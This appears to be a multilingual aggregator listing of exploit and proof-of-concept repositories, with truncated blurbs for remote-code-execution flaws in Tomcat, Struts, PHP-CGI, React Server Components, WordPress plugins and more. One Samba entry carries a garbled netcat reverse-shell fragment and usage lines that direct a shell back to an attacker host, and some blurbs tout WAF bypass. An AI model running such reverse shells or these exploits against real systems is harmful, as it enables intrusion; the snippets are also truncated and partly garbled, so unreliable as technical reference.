Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Strumento grafico di sfruttamento della vulnerabilità di scrittura arbitraria di file tramite il metodo PUT di Tomcat CVE-2017-12615 Introduzione alla vulnerabilità Il 19 settembre 2017, Apache Tomcat ha confermato e corretto ufficialmente due vulnerabilità ad alto rischio,...

CVE-2025-54100

CVE-2025-54100 – PoC für das Parsen von PowerShell-Antworten Demonstriert, wie CVE-2025-54100 durch bösartiges HTML-Parsing in Windows PowerShell 5.1 zu Remote Code Execution RCE führt. Was ist CVE-2025-54100? Schwachstellentyp: Befehlsinjizierungsrisiko, wenn Invoke-WebRequest ohne den Parameter...

CVE-2025-55449

CVE-2025-55449 - Vulnerabilidade de Execução Remota de Código RCE no AstrBot Visão Geral Este repositório contém uma prova de conceito de exploit para CVE-2025-55449 , uma vulnerabilidade crítica de Execução Remota de Código RCE no AstrBot. A vulnerabilidade permite que um atacante execute código...

CVE-2018-11776

CVE-2018-11776 Proof-of-Concept-Exploit, damit ich schnell beurteilen konnte, welche Schutzmaßnahmen und Fixes verfügbar sind. Ursprünglich gefunden von Man Yue Mo, Semmle: https://semmle.com/news/apache-struts-CVE-2018-11776 Semmle hatte eine Weile ein YouTube-Video „Apache Struts RCE -...

CVE-2017-9791

CVE-2017-9791 Modulo Metasploit per la vulnerabilità di esecuzione remota di codice CVE-2017-9791 di Apache Struts...

CVE-2017-3241-POC

CVE-2017-3241-POC POC per la vulnerabilità di deserializzazione di java RMI Probabilmente dovrai usare JDK 8 per eseguire questa poc. Presta attenzione alla classe Message sia lato client che lato server. Sono diverse. E la differenza è la chiave per capire questa vulnerabilità. La correzione...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC Prova di concetto per CVE-2022-22965 Spring4Shell per il report CS4239 G410. Adattato da questo PoC per dimostrare il comportamento non patchato e patchato. Esecuzione della demo In questo repository ci sono 2 programmi di esempio dockerizzati con codice sorgente identico...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 Tiefer Einblick: Klicken Sie hier, um das vollständige technische Briefing PDF zu lesen. CVE-2024-28397: Js2Py Sandbox Escape Payload Generator Ein professioneller Payload-Generator für CVE-2024-28397. Dieses Tool generiert bösartigen JavaScript-Code, der dazu entwickelt wurde, die js2py-Sandbo...

CVE-2024-38856_Scanner

CVE-2024-38856 Solo per uso etico. Qualsiasi attività dannosa o malevola non è consentita. La responsabilità è tua. CVE-2024-38856: Scanner & Exploit per l'esecuzione remota di codice in Apache OFBiz Analisi della CVE: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce Questo problema...

CVE-2026-55200

CVE-2026-55200 - Kritische libssh2 Remote-Code-Ausführungs-Sicherheitslücke Kritische Speicherkorruptions-Sicherheitslücke vor der Authentifizierung in libssh2 Übersicht...

CVE-2025-55182-React-RCE

CVE-2025-55182-React-RCE Introdução e Princípios do Projeto Primeiro exploit do mundo para CVE‑2025‑55182 React Server RCE que pode contornar a detecção WAF ao aproveitar recursos específicos do RSC. The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Descrição do Projeto e Princípio Primeiro exploit do mundo para a vulnerabilidade CVE-2024-4577 PHP-CGI RCE usando o ambiente PHP padrão XAMPP. O primeiro exploit do mundo para CVE-2024-4577 PHP-CGI RCE utilizando o ambiente PHP padrão. Compartilhando exploit original, supor...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Questo repository contiene il mio codice exploit per la vulnerabilità RCE in Adobe ColdFusion 2018. Descrizione dell'Exploit L'exploit invia una richiesta POST contenente una reverse shell JSP a...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilizzo root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installazione root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Utilizzo Poiché questo strumento è una PoC scritta secondo le specifiche di sviluppo del framework pocsuite3 Prima dell'uso, scaricare pocsuite3 Indirizzo del progetto...

ATLASSIAN-Confluence_rce

ATLASSIAN-Confluencerce CVE-2022-26134 Installation root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce Verwendung Da dieses Tool ein POC ist, das gemäß den Entwicklungsrichtlinien des pocsuite3-Frameworks erstellt wurde, laden Sie bitte vor der...

CVE-2025-1974

CVE-2025-1974 3ª turma da Whitehat School - Kim So-eun @salt318 https://github.com/salt318/vulhub Resumo Causado por uma falha no Ingress-NGINX Admission Controller, um mecanismo de segurança central do Kubernetes. O Ingress-NGINX Admission Controller está exposto na rede sem autenticação. Isso...

CVE-2026-4885

CVE-2026-4885 Piotnet Addons for Elementor Pro = 7.1.70 - Caricamento File Arbitrario Non Autenticato → RCE Descrizione : Il plugin Piotnet Addons for Elementor Pro per WordPress è vulnerabile al caricamento arbitrario di file a causa della mancanza di validazione del tipo di file nella funzione...

CVE-2026-4883

CVE-2026-4883: Piotnet Forms Pro = 2.1.40 - Nicht authentifizierter beliebiger Datei-Upload → RCE Die Schwachstelle resultiert aus unzureichender Dateityp-Validierung in der Funktion piotnetformsajaxformbuilder. Das Plugin verwendet eine unvollständige Erweiterungs-Blacklist, die nur php, phpt,...

CVE-2026-4882

CVE-2026-4882 User Registration Advanced Fields = 1.6.20 - Caricamento Arbitrario di File Non Autenticato Descrizione : User Registration Advanced Fields = 1.6.20 - Caricamento Arbitrario di File Non Autenticato Il plugin User Registration Advanced Fields per WordPress versioni fino alla 1.6.20...